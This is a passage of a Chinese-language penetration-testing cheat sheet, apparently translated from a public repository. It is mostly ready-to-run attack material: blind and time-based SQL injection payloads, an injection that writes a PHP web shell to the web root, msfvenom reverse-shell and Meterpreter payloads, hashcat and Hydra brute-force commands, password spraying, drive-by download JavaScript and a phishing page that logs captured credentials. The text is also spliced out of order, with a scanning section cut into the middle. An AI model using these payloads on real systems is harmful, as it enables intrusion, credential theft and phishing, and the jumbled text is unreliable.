' AND (SELECT CASE substring(password,1,1) WHEN '$' THEN sleep(2) ELSE sleep(0) END FROM users WHERE id = 1)--
' AND IF(version() LIKE '5%',sleep(2),sleep(0))--
```
当您无法看到结果时,使用基于时间的 SQLi。
检查存在性/正确性:
```
' AND (SELECT 'exists' FROM users) = 'exists
' AND (SELECT 'exists' FROM users WHERE username = 'administrator') = 'exists
' AND (SELECT 'correct' FROM users WHERE username = 'administrator' AND length(password) < 8 ) = 'correct
' AND (SELECT CASE substring(password,1,1) WHEN '$' THEN to_char(1/0) ELSE 'correct' END FROM users WHERE username = 'administrator') = 'correct
'||(SELECT CASE substring(password,1,1) WHEN '$' THEN to_char(1/0) ELSE '' END FROM users WHERE username = 'administrator')||'
```
基于 HTTP GET 请求注入 [简单的 PHP web shell](_URL_236/>):
```
' UNION SELECT '', '', '', '' INTO DUMPFILE '..\\..\\htdocs\\backdoor.php'--
' UNION SELECT '', '', '', '0){$o=@shell_exec("($_GET[$p]) 2>&1");if($o===false){$o="ERROR: The function might be disabled.";}else{$o=str_replace("<","<",$o);$o=str_replace(">",">",$o);}} ?>Simple PHP Web Shell ' INTO DUMPFILE '..\\..\\htdocs\\backdoor.php'--
```
**要成功注入 web shell,当前数据库用户必须具有写入权限。**
### sqlmap
将 SQL 代码注入请求参数:
```
sqlmap -a -u somesite.com/index.php?username=test&password=test
sqlmap -a -u somesite.com/index.php --data username=test&password=test
sqlmap -a -u somesite.com/index.php --data username=test&password=test -p password
```
| 选项 | 描述 |
| --- | --- |
| -u | 目标 URL |
| -H | 额外的 HTTP header |
| --data | 通过 POST 发送的数据字符串 |
| --cookie | HTTP Cookie header 值 |
| --proxy | 使用代理连接到目标 URL (\[protocol://\]host\[:port\]) |
| -p | 可测试的参数 |
| --level | 要执行的测试级别 (1-5, 默认: 1) |
| --risk | 要执行的测试风险 (1-3, 默认: 1) |
| -a | 检索所有内容 |
| -b | 检索 DBMS banner |
| --dump-all | 转储所有 DBMS 数据库表条目 |
| --os-shell | 提示交互式操作系统 shell |
| --os-pwn | 提示 OOB shell, Meterpreter, 或 VNC |
| --sqlmap-shell | 提示交互式 sqlmap shell |
| --wizard | 适合初学者的简单向导界面 |
| --dbms | 待办。 |
### dotdotpwn
遍历路径(例如 `somesite.com/../../../etc/passwd`):
```
dotdotpwn -q -m http -S -o windows -f /windows/win.ini -k mci -h somesite.com
dotdotpwn -q -m http -o unix -f /etc/passwd -k root -h somesite.com
dotdotpwn -q -m http-url -o unix -f /etc/hosts -k localhost -u 'https://somesite.com/index.php?file=TRAVERSAL'
```
尝试在文件路径前添加协议,例如 `file://`、`gopher://`、`dict://`、`php://`、`jar://`、`ftp://`、`tftp://` 等;例如 `file://TRAVERSAL`。
在 [swisskyrepo/PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Directory%20Traversal/README.md) 查看一些额外的目录遍历技巧。归功于作者!
| 选项 | 描述 |
| --- | --- |
| -m | 模块 |
| -h | 主机名 |
| -O | 用于智能模糊测试的操作系统检测 |
| -o | 已知的操作系统类型("windows"、"unix" 或 "generic") |
| -d | 遍历深度(默认: 6) |
| -f | 特定文件名(默认: 根据检测到的 OS) |
| -S | 对 HTTP 和 Payload 模块使用 SSL(http-url 不需要) |
| -u | 带有标记为 TRAVERSAL 的部分的 URL |
| -k | 响应中要匹配的文本模式 |
| -p | 带有要发送的 payload 的文件名,以及标记为 TRAVERSAL 关键字的部分 |
| -x | 连接的端口(默认: HTTP=80; FTP=21; TFTP=69) |
| -U | 用户名(默认: 'anonymous') |
| -P | 密码(默认: 'dot(at)dot.pwn') |
| -M | 使用 'http' 模块时要使用的 HTTP 方法(GET, POST, HEAD, COPY, MOVE, 默认: GET) |
| -b | 发现第一个漏洞后中断 |
| -C | 如果未从主机接收到数据则继续 |
### Web Shells
在我的项目 [ivan-sincek/php-reverse-shell](https://github.com/ivan-sincek/php-reverse-shell) 中了解有关 PHP shells 的更多信息。
在我的项目 [ivan-sincek/java-reverse-tcp](https://github.com/ivan-sincek/java-reverse-tcp) 中了解有关 Java/JSP shells 的更多信息。
### 使用 Python 发送 Payload
在我的项目 [ivan-sincek/send-tcp-payload](https://github.com/ivan-sincek/send-tcp-payload) 中了解如何为 Python 生成反向 shell payload 并将其发送到目标机器。
## 4. 后渗透
### 4.1 实用网站
* [swisskyrepo/PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)
* [lolbas-project.github.io](https://lolbas-project.github.io)
* [gtfobins.github.io](https://gtfobins.github.io)
### 为 Windows OS 生成反向 Shell Payload
要生成 `Base64 encoded payload`,请使用以下 MSFvenom 命令之一,根据您的需要修改它们:
```
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b \x00\x0a\x0d\xff | base64 -w 0 > payload.txt
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b \x00\x0a\x0d\xff | base64 -w 0 > payload.txt
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw | base64 -w 0 > payload.txt
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw | base64 -w 0 > payload.txt
```
要生成 `binary file`,请使用以下 MSFvenom 命令之一,根据您的需要修改它们:
```
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b \x00\x0a\x0d\xff -o payload.bin
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b \x00\x0a\x0d\xff -o payload.bin
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -o payload.bin
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -o payload.bin
```
要生成 `DLL file`,请使用以下 MSFvenom 命令之一,根据您的需要修改它们:
```
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f dll -b \x00\x0a\x0d\xff -o payload.dll
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f dll -b \x00\x0a\x0d\xff -o payload.dll
```
要生成 `standalone executable` 文件,请使用以下 MSFvenom 命令之一,根据您的需要修改它们:
```
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -b \x00\x0a\x0d\xff -o payload.exe
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -b \x00\x0a\x0d\xff -o payload.exe
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -o payload.exe
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -o payload.exe
```
要生成 `MSI file`,请使用以下 MSFvenom 命令之一,根据您的需要修改它们:
```
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f msi -b \x00\x0a\x0d\xff -o payload.msi
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f msi -b \x00\x0a\x0d\xff -o payload.msi
```
由于某些其他坏字符,字节码可能无法在第一次尝试时起作用。试错是关键。
到目前为止,由于大小问题,还没有简单的方法来生成带有无阶段 meterpreter shell 的 DLL 或 MSI 文件。
### PowerShell 编码命令
要从 PowerShell 脚本生成 PowerShell 编码命令,请运行以下 PowerShell 命令:
```
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes([IO.File]::ReadAllText($script)))
```
要运行 PowerShell 编码命令,请从 PowerShell 或命令提示符运行以下命令:
```
PowerShell -ExecutionPolicy Unrestricted -NoProfile -EncodedCommand $command
```
要解码 PowerShell 编码命令,请运行以下 PowerShell 命令:
```
[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($command))
```
在我的项目 [ivan-sincek/powershell-reverse-tcp](https://github.com/ivan-sincek/powershell-reverse-tcp) 中了解有关 PowerShell 反向和绑定 TCP shells 的更多信息。
## 5. 密码破解
**在尝试破解哈希之前先 Google 一下,因为您可能会为自己节省大量时间和麻烦。**
使用 [Google Dorks](#google-dorks)、[Chad](#chad) 或 [FOCA](#foca) 查找和下载文件,并在文件的元数据中找到域用户名以进行暴力破解。
**请记住,您可能会锁定人们的账户。**
某些 Web 表单具有 CAPTCHA 验证码和/或隐藏的提交令牌,这可能会阻止您进行暴力破解。如果是这种情况,请尝试在没有 CAPTCHA 验证码响应和提交令牌的情况下提交请求。
您可以在 [SecLists](#wordlists) 中找到许多有用的字典。
### 5.1 实用网站
* [gchq.github.io/CyberChef](https://gchq.github.io/CyberChef)
* [onlinehashcrack.com](https://www.onlinehashcrack.com)
* [hashkiller.io/listmanager](https://hashkiller.io/listmanager) - 有许多其他工具
* [hashes.com/en/decrypt/hash](https://hashes.com/en/decrypt/hash) - 有许多其他工具
* [crackstation.net](https://crackstation.net)
* [weakpass.com/wordlist](https://weakpass.com/wordlist) - 许多密码转储
* [packetstormsecurity.com/Crackers/wordlists](https://packetstormsecurity.com/Crackers/wordlists)
### crunch
生成小写字母数字字典:
```
crunch 4 6 -f /usr/share/crunch/charset.lst lalpha-numeric -o crunch_wordlist.txt
```
在位于 `/usr/share/crunch/` 目录的 `charset.lst` 中查看所有可用字符集的列表或添加您自己的字符集。
从单词生成所有可能的排列:
```
crunch -o crunch_wordlist.txt -p admin 123 \!\"
crunch -o crunch_wordlist.txt -q words.txt
```
从字符集生成所有可能的组合:
```
crunch 4 6 -o crunch_wordlist.txt -p admin123\!\"
```
| 选项 | 描述 |
| --- | --- |
| -d | 限制连续字符的数量 |
| -f | 从文件中指定字符集 |
| -i | 反转输出 |
| -l | 当您使用 -t 选项时,此选项告诉 crunch 应将哪些符号视为文字 |
| -o | 指定要写入输出的文件 |
| -p | 告诉 crunch 生成/排列没有重复字符的单词 |
| -q | 告诉 crunch 读取文件并排列读取的内容 |
| -r | 告诉 crunch 从中断的地方恢复生成单词,-r 仅在使用 -o 时有效 |
| -s | 指定起始字符串 |
| -t | 指定模式 |
| 占位符 | 描述 |
| --- | --- |
| \@ | 小写字符 |
| \, | 大写字符 |
| \% | 数字 |
| \^ | 符号 |
**不幸的是,没有从小写字母到符号的占位符范围。**
从占位符生成所有可能的组合:
```
crunch 10 10 -o crunch_wordlist.txt -t admin%%%^^
crunch 10 10 -o crunch_wordlist.txt -t admin%%%^^ -d 2% -d 1^
crunch 10 10 + + 123456 \!\" -o crunch_wordlist.txt -t admin@@%^^
crunch 10 10 -o crunch_wordlist.txt -t @dmin@@%^^ -l @aaaaaaaaa
```
### hash-identifier
要识别哈希类型,请运行以下工具:
```
hash-identifier
```
### Hashcat
暴力破解 MD5 哈希:
```
hashcat -m 0 -a 3 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt
```
暴力破解 NetNTLMv1 哈希:
```
hashcat -m 5500 -a 3 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt
```
使用 `--session=` 保存,并在稍后使用 `--restore` 继续您的破解进度。
继续破解进度:
```
hashcat --session=cracking --restore
```
| 选项 | 描述 |
| --- | --- |
| -m | 哈希类型,请参阅下面的参考 |
| -a | 攻击模式,请参阅下面的参考 |
| --force | 忽略警告 |
| --runtime | 在 X 秒运行时间后中止会话 |
| --status | 启用状态屏幕的自动更新 |
| -o | 为恢复的哈希定义输出文件 |
| --show | 显示在 potfile 中找到的已破解密码 |
| --session | 定义特定的会话名称 |
| --restore | 从 --session 恢复会话 |
| --restore-file-path | 恢复文件的具体路径 |
| -O | 启用优化内核(限制密码长度) |
| -1 | 用户定义的字符集 ?1 |
| -2 | 用户定义的字符集 ?2 |
| -3 | 用户定义的字符集 ?3 |
| -4 | 用户定义的字符集 ?4 |
**指定用户定义的字符集时,请用另一个 `?` 转义 `?`(即,使用 `??` 而不是 `\?`)。**
| 哈希类型 | 描述 |
| --- | --- |
| 0 | MD5 |
| 100 | SHA1 |
| 1400 | SHA256 |
| 1700 | SHA512 |
| 200 | MySQL323 |
| 300 | MySQL4.1/MySQL5 |
| 1000 | NTLM |
| 5500 | NetNTLMv1-VANILLA / NetNTLMv1-ESS |
| 5600 | NetNTLMv2 |
| 2500 | WPA/WPA2 |
| 16800 | WPA-PMKID-PBKDF2 |
| 16500 | JWT (JSON Web Token) |
有关更多哈希类型,请阅读手册。
| 攻击模式 | 名称 |
| --- | --- |
| 0 | Straight |
| 1 | Combination |
| 3 | Brute Force |
| 6 | Hybrid Wordlist + Mask |
| 7 | Hybrid Mask + Wordlist |
| 9 | Association |
| 字符集 | 描述 |
| --- | --- |
| \?l | abcdefghijklmnopqrstuvwxyz |
| \?u | ABCDEFGHIJKLMNOPQRSTUVWXYZ |
| \?d | 0123456789 |
| \?s | \!\"\#\$\%\&\'\(\)\*\+\,\-\.\/\:\;\<\=\>\?\@\[\]\^\_\`\{\|\}\~ |
| \?a | \?l\?u\?d\?s |
| \?b | 0x00 - 0xff |
字典攻击:
```
hashcat -m 100 -a 0 --session=cracking --force --status -O B1B3773A05C0ED0176787A4F1574FF0075F7521E rockyou.txt
hashcat -m 5600 -a 0 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt rockyou.txt
```
您可以在 [SecLists](#wordlists) 中找到 `rockyou.txt` 字典。
使用占位符暴力破解哈希:
```
hashcat -m 0 -a 3 --session=cracking --force --status -O cc158fa2f16206c8bd2c750002536211 -1 ?l?u -2 ?d?s ?1?l?l?l?l?l?2?2
hashcat -m 0 -a 3 --session=cracking --force --status -O 85fb9a30572c42b19f36d215722e1780 -1 \!\"\#\$\%\&\/\(\)\=??\* -2 ?d?1 ?u?l?l?l?l?2?2?2
```
### 破解 JWT
字典攻击:
```
hashcat -m 16500 -a 3 --session=cracking --force --status -O eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds
```
您也可以在我的项目 [ivan-sincek/jwt-bf](https://github.com/ivan-sincek/jwt-bf) 中查看我的 JWT 破解工具。
### Hydra
我更喜欢使用 Burp Suite 来暴力破解 Web 表单,而 Hydra 用于其他服务。
对 HTTP POST 登录 Web 表单进行字典攻击:
```
hydra -o hydra_results.txt -l admin -P rockyou.txt somesite.com http-post-form '/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed!'
```
在暴力破解登录 Web 表单时,您必须指定 `Login=Login:` 以区分成功和失败的登录尝试。根据需要更改 `username` 和 `password` 请求参数名称。
对 Secure Shell (SSH) 登录进行字典攻击:
```
hydra -o hydra_results.txt -L users.txt -P rockyou.txt 192.168.8.5 ssh
```
您可以在 [SecLists](#wordlists) 中找到许多有用的字典。
| 选项 | 描述 |
| --- | --- |
| -R | 恢复先前中止/崩溃的会话 |
| -S | 执行 SSL 连接 |
| -O | 使用旧的 SSL v2 和 v3 |
| -s | 如果服务位于不同的默认端口上,请在此处定义 |
| -l | 使用登录名登录 |
| -L | 从文件加载多个登录名 |
| -p | 使用密码登录 |
| -P | 从文件加载多个密码 |
| -x | 密码暴力破解生成 (MIN:MAX:CHARSET),输入 "-x -h" 获取帮助 |
| -y | 禁止在暴力破解中使用符号 |
| -e | 尝试 "n" 空密码,"s" 登录名作为密码,和/或 "r" 反向登录名 |
| -o | 将找到的登录名/密码对写入文件而不是 stdout |
| -f/-F | 找到登录名/密码对时退出(-f 每个主机,-F 全局) |
| -M | 要攻击的服务器列表,每行一个条目,':' 指定端口 |
| 支持的服务 |
| --- |
ftp\[s\] |
| http\[s\]\-\{get\|post\}\-form |
| mysql |
| smb |
| smtp\[s\] |
| snmp |
| ssh |
| telnet\[s\] |
| vnc |
有关更多支持的服务,请阅读手册。
| 暴力破解语法 | 描述 |
| --- | --- |
| MIN | 密码中的最小字符数 |
| MAX | 密码中的最大字符数 |
| CHARSET | 字符集值为:"a" 代表小写字母,"A" 代表大写字母,"1" 代表数字,对于所有其他字符,只需添加其实际表示形式 |
对 FTP 进行暴力破解攻击:
```
hydra -o hydra_results.txt -l admin -x 4:4:aA1\!\"\#\$\% 192.168.8.5 ftp
```
### 密码喷洒
在您从 [信息收集阶段](#1-reconnaissance) 收集了足够的用户名之后,是时候尝试对其中一些进行暴力破解了。
在我的项目 [ivan-sincek/wordlist-extender](https://github.com/ivan-sincek/wordlist-extender) 中了解如何生成一个好的密码喷洒字典,但首先您需要一些描述您目标的关键词。
此类关键词可以包括公司名称、缩写或描述公司服务、产品等的单词。
生成字典后,将其与 [Hydra](#hydra)、[Burp Suite Intruder](https://portswigger.net/burp/documentation/desktop/tools/intruder) 等工具一起使用,以暴力破解登录 Web 表单。Hydra 可以攻击各种服务和端口的身份验证机制。
如果强制执行强密码策略,懒惰的密码通常以一个大写单词开头,后跟几位数字,末尾有一个特殊字符(例如,Password123!)。
您也可以将生成的字典与 [hashcat](#hashcat) 一起使用,例如,破解您在网络渗透测试期间使用 LLMNR responder 收集的 NTLMv2 哈希等。
## 6. 社会工程学
在我的项目 [ivan-sincek/powershell-reverse-tcp](https://github.com/ivan-sincek/powershell-reverse-tcp#ms-word) 中了解如何将 PowerShell 脚本嵌入 MS Word 文档。
### 路过式下载
要强制用户下载恶意文件,请将此 JavaScript 代码块复制并粘贴到任何克隆的网页上:
```
function download(url, type, name, method) {
var req = new XMLHttpRequest();
req.open(method, url, true);
req.responseType = 'blob';
req.onload = function() {
var blob = new Blob([req.response], { type: type })
var isIE = false || !!document.documentMode;
if (isIE) {
// IE doesn't allow using a blob object directly as link
// instead it is necessary to use msSaveOrOpenBlob()
if (window.navigator && window.navigator.msSaveOrOpenBlob) {
window.navigator.msSaveOrOpenBlob(blob, name);
}
} else {
var anchor = document.createElement('a');
anchor.href = window.URL.createObjectURL(blob);
anchor.download = name;
anchor.click();
// in Firefox it is necessary to delay revoking the ObjectURL
setTimeout(function() {
window.URL.revokeObjectURL(anchor);
anchor.remove();
}, 250);
}
};
req.send();
}
// specify your file here, use only an absolute URL
download('http://localhost/files/pentest.pdf', 'application/pdf', 'pentest.pdf', 'GET');
// download('http://localhost/files/pentest.docx', 'plain/txt', 'pentest.docx', 'GET');
```
要进行尝试,请将 [\\social_engineering\\driveby_download\\](https://github.com/ivan-sincek/penetration-testing-cheat-sheet/tree/master/social_engineering/driveby_download) 中的所有内容复制到您服务器的 Web 根目录(例如,在 XAMPP 上复制到 \\xampp\\htdocs\\),并使用您喜欢的 Web 浏览器导航到该网页。
### 钓鱼网站
要进行尝试,请将 [\\social_engineering\\phishing_website\\](https://github.com/ivan-sincek/penetration-testing-cheat-sheet/tree/master/social_engineering/phishing_website) 中的所有内容复制到您服务器的 Web 根目录(例如,在 XAMPP 上复制到 \xampp\htdocs\),并使用您喜欢的 Web 浏览器导航到该网页。
捕获的凭据将存储在 [\\social_engineering\\phishing_website\\logs\\credentials.log](https://github.com/ivan-sincek/penetration-testing-cheat-sheet/tree/master/social_engineering/phishing_website/logs) 中。
图 1 - DirBuster
所有 DirBuster 的字典都位于 `/usr/share/dirbuster/wordlists/` 目录中。 ### feroxbuster 暴力破解 Web 服务器上的目录: ``` cat subdomains_live_long.txt | feroxbuster --stdin -k -n --auto-bail --random-agent -t 50 -T 3 --json -o feroxbuster_results.txt -s 200,301,302,401,403 -w raft-small-directories-lowercase.txt ``` 该工具比 [DirBuster](#dirbuster) 快得多。 从结果中过滤出目录: ``` jq -r 'select(.status | tostring | test("^2")).url' feroxbuster_results.json | sort -uf | tee -a directories_2xx.txt jq -r 'select(.status | tostring | test("^2|^4")).url' feroxbuster_results.json | sort -uf | tee -a directories_2xx_4xx.txt jq -r 'select(.status | tostring | test("^3")).url' feroxbuster_results.json | sort -uf | tee -a directories_3xx.txt jq -r 'select(.status | tostring | test("^401$")).url' feroxbuster_results.json | sort -uf | tee -a directories_401.txt jq -r 'select(.status | tostring | test("^403$")).url' feroxbuster_results.json | sort -uf | tee -a directories_403.txt ``` | 选项 | 描述 | | --- | --- | | -u | 目标 URL(必需,除非使用 \[--stdin \| --resume-from\]) | | --stdin | 从 STDIN 读取 URL | | -a/-A | 设置 User-Agent(默认:feroxbuster\/x.x.x) \/ 使用随机 User-Agent | | -x | 要搜索的文件扩展名(例如:-x php -x pdf,js) | | -m | 应发送哪些 HTTP 请求方法(默认:GET) | | --data | 请求体;如果输入以 @ 开头,则可以从文件读取数据(例如:@post.bin) | | -H | 指定在每个请求中使用的 HTTP headers(例如:-H header:val -H 'stuff:things') | | -b | 指定在每个请求中使用的 HTTP cookies(例如:-b stuff=things) | | -Q | 请求的 URL 查询参数(例如:-Q token=stuff -Q secret=key) | | -f | 在每个请求的 URL 后附加 \/ | | -s | 要包含的状态码(允许列表)(默认:200,204,301,302,307,308,401,403,405) | | -T | 客户端请求超时前的秒数(默认:7) | | -k | 禁用客户端的 TLS 证书验证 | | -t | 并发线程数(默认:50) | | -n | 不递归扫描 | | -w | 字典路径 | | --auto-bail | 遇到过多错误时自动停止扫描 | | -B | 自动请求“找到”的 URL 可能的备份扩展名(默认:~, .bak, .bak2, .old, .1) | | -q | 隐藏进度条和横幅(适用于带有通知的 tmux 窗口) | | -o | 写入结果的输出文件(与 --json 一起使用以获取 JSON 条目) | ### snallygaster 从 [GitHub](https://github.com/hannob/snallygaster/releases) 下载最新版本。查看如何 [安装](#0-install-tools-and-setup) 该工具。 在 Web 服务器中搜索敏感文件: ``` snallygaster --nowww somesite.com | tee snallygaster_results.txt for subdomain in $(cat subdomains_live_short_http.txt); do snallygaster --nohttps --nowww "${subdomain}"; done | tee snallygaster_http_results.txt for subdomain in $(cat subdomains_live_short_https.txt); do snallygaster --nohttp --nowww "${subdomain}"; done | tee snallygaster_https_results.txt ``` ### IIS Tilde 短名称扫描 下载: ``` git clone https://github.com/irsdl/IIS-ShortName-Scanner && cd IIS-ShortName-Scanner/release ``` 在 IIS 服务器中搜索文件和目录: ``` java -jar iis_shortname_scanner.jar 2 30 https://somesite.com ``` ### WhatWeb 识别网站: ``` whatweb -v somesite.com ``` ### Parsero 测试所有 `robots.txt` 条目: ``` parsero -sb -u somesite.com ``` ### EyeWitness 从网站抓取截图: ``` eyewitness --no-prompt --no-dns --threads 5 --timeout 3 -d eyewitness_results -f subdomains_live_long.txt ``` 要查看截图,请导航到 `eyewitness_results/screens` 目录。 ### 字典 您可以在 `/usr/share/wordlists/` 目录内或 [SecLists](https://github.com/danielmiessler/SecLists) 中找到 `rockyou.txt` - 一个用于安全评估的多种类型字典的有用集合。 安装 SecLists(集合将存储在 `/usr/share/seclists/` 目录中): ``` apt-get update && apt-get install seclists ``` 我对 SecLists 的贡献:[danielmiessler/SecLists/tree/master/Fuzzing/Amounts](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/Amounts) 其他流行的字典集合: * [ayoubfathi/leaky-paths](https://github.com/ayoubfathi/leaky-paths) * [xmendez/wfuzz](https://github.com/xmendez/wfuzz) * [assetnote/commonspeak2-wordlists](https://github.com/assetnote/commonspeak2-wordlists) * [weakpass.com/wordlist](https://weakpass.com/wordlist* [packetstormsecurity.com/Crackers/wordlists](https://packetstormsecurity.com/Crackers/wordlists) ## 2. 扫描/枚举 请记住,Web 应用程序或服务可以托管在 80 (HTTP) 和 443 (HTTPS) 以外的其他端口上,例如,它们可以托管在端口 8443 (HTTPS) 上。 请记住,在端口 80 (HTTP) 和 443 (HTTPS) 上,Web 服务器可以托管不同的 Web 应用程序或服务。使用 [Ncat](#ncat) 或 Telnet 进行 banner 抓取。 请记住,在不同的 URL 路径上,Web 服务器可以托管不同的 Web 应用程序或服务,例如 `somesite.com/app_one/` 和 `somesite.com/app_two/`。 在扫描漏洞或运行其他密集型扫描时,请定期检查 Web 应用程序或服务是否崩溃,以便您可以尽快通知您的客户;或者如果您被 Web 应用程序防火墙 (WAF) 或其他安全产品限制了速率,请暂停扫描,因为您的后续请求将被阻止,您的结果将不完整。 如果 Web 应用程序或服务突然停止响应,请尝试使用您的移动数据 (4G/5V) 访问该 Web 应用程序或服务,即使用不同的 IP。您当前的 IP 可能已被暂时屏蔽。 向目标域中不存在的地址发送电子邮件,通常会通过未送达通知 (NDN) 显示有用的内部网络信息。 获取免费的 [Nessus Community](https://community.tenable.com/s/article/Nessus-Essentials),如果您负担得起,请获取 [Burp Suite Professional](https://portswigger.net/burp) 或 [Caido](https://caido.io)。 ### 2.1 实用网站 * [ipaddressguide.com/cidr](https://www.ipaddressguide.com/cidr) * [account.arin.net/public/cidrCalculator](https://account.arin.net/public/cidrCalculator) * [calculator.net/ip-subnet-calculator.html](https://www.calculator.net/ip-subnet-calculator.html) * [speedguide.net/ports.php](https://www.speedguide.net/ports.php) * [securityheaders.com](https://securityheaders.com) * [csp-evaluator.withgoogle.com](https://csp-evaluator.withgoogle.com) - Content Security Policy 评估器 ### Nmap **为了获得更好的结果,请使用 IP 而不是域名。** Ping 扫描,映射存活主机: ``` nmap -sn -oG nmap_ping_sweep_results.txt 192.168.8.0/24 nmap -sn -oG nmap_ping_sweep_results.txt -iL cidrs.txt ``` **某些 Web 服务器不会响应 ping (ICMP) 请求,因此存活主机的映射将不准确。** 从结果中提取存活主机: ``` grep -Po '(?<=Host\:\ )[^\s]+' nmap_ping_sweep_results.txt | sort -uf | tee -a ips_live.txt ``` TCP 扫描,所有端口: ``` nmap -nv -sS -sV -sC -Pn -oN nmap_tcp_results.txt -p- 192.168.8.0/24 nmap -nv -sS -sV -sC -Pn -oN nmap_tcp_results.txt -p- -iL cidrs.txt ``` 自动化 TCP 扫描: ``` mkdir nmap_tcp_results for ip in $(cat ips_live.txt); do nmap -nv -sS -sV -sC -Pn -oN "nmap_tcp_results/nmap_tcp_results_${ip//./_}.txt" -p- "${ip}"; done ``` UDP 扫描,仅重要端口: ``` nmap -nv -sU -sV -sC -Pn -oN nmap_udp_results.txt -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 192.168.8.0/24 nmap -nv -sU -sV -sC -Pn -oN nmap_udp_results.txt -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 -iL cidrs.txt ``` 自动化 UDP 扫描: ``` mkdir nmap_udp_results for ip in $(cat ips_live.txt); do nmap -nv -sU -sV -sC -Pn -oN "nmap_udp_results/nmap_udp_results_${ip//./_}.txt" -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 "${subdomain}"; done ``` | 选项 | 描述 | | --- | --- | | -sn | Ping 扫描 - 禁用端口扫描 | | -Pn | 将所有主机视为在线 -- 跳过主机发现 | | -n/-R | 从不进行 DNS 解析/始终解析(默认:有时) | | -sS/sT/sA | TCP SYN/Connect()/ACK | | -sU | UDP 扫描 | | -p/-p- | 仅扫描指定端口/扫描所有端口 | | --top-ports | 扫描
图 2 - 钓鱼网站
阅读 [\\social_engineering\\phishing_website\\index.php](https://github.com/ivan-sincek/penetration-testing-cheat-sheet/blob/master/social_engineering/phishing_website/index.php) 中的注释,以更好地了解其所有工作原理。 您可以根据自己的喜好修改和扩展此模板。您已经掌握了入门所需的一切。 您可以轻松自定义 [CSS](https://github.com/ivan-sincek/penetration-testing-cheat-sheet/blob/master/social_engineering/phishing_website/css/main.css) 使其外观更像您正在测试的公司,例如,更改颜色、logo 等。 检查 [\\social_engineering\\phishing_website\\redirects\\](https://github.com/ivan-sincek/penetration-testing-cheat-sheet/blob/master/social_engineering/phishing_website/redirects) 目录中的独立重定向模板。 使用 SingleFile ([Chrome](https://chrome.google.com/webstore/detail/singlefile/mpiodijhokgodhhofbcjdecpffjipkle))([FireFox](https://addons.mozilla.org/hr/firefox/addon/single-file)) 浏览器扩展将网页下载为单个 HTML 文件,然后,将该文件重命名为 `index.php`。 ## 7. 杂项 在这里您可以找到一堆随机的东西。 ### 7.1 实用网站 * [jsonlint.com](https://jsonlint.com) * [base64decode.org](https://www.base64decode.org) * [urldecoder.org](https://www.urldecoder.org) * [bitly.com](https://bitly.com) - URL 缩短器 * [getcreditcardnumbers.com](https://www.getcreditcardnumbers.com) - 虚拟信用卡信息 ### cURL 下载文件: ``` curl somesite.com/somefile.txt -o somefile.txt ``` 上传文件: ``` curl somesite.com/uploads/ -T somefile.txt ``` | 选项 | 描述 | | --- | --- | | -d | 在 POST 请求中将指定数据发送到 HTTP 服务器 | | -H | 向服务器发送 HTTP 时要包含在请求中的额外 header | | -i | 在输出中包含 HTTP 响应 headers | | -k | 继续并进行否则被认为是不安全的服务器连接操作 | | -o | 写入文件而不是 stdout | | -T | 将指定的本地文件传输到远程 URL,与 PUT 方法相同 | | -v | 使操作更加详细 | | -x | 使用指定的代理 (\[protocol://\]host\[:port\]) | | -X | 指定与 HTTP 服务器通信时要使用的自定义请求方法 | 在我的项目 